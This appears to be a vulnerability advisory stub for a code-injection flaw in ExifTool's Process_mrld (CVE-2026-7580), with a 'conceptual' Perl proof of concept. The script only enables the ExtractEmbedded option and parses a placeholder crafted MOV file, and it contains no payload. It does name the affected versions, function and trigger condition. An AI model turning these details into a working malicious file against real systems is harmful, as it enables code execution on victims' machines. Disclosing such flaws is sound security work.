CVE-2026-7580 Exiftool Process_mrld代码注入漏洞

#!/usr/bin/perl # PoC for CVE-2026-7580 (Conceptual) # This script demonstrates how the vulnerability in Exiftool <= 13.53 # could be triggered by processing a malicious file with the -ee flag. use strict; use warnings; use Image::ExifTool; # Create an ExifTool object my $exifTool = Image::ExifTool->new; # Specify the malicious file (e.g., crafted MOV/MP4) # The file must contain specific metadata to exploit Process_mrld my $malicious_file = 'exploit_sample.mov'; # Enable the ExtractEmbedded option (-ee) # This is the parameter manipulation that triggers the vulnerability $exifTool->Options(ExtractEmbedded => 1); # Process the file # In a vulnerable version, this triggers code injection via Process_mrld my $info = $exifTool->ImageInfo($malicious_file); print "Processing complete. Check for code execution.\n";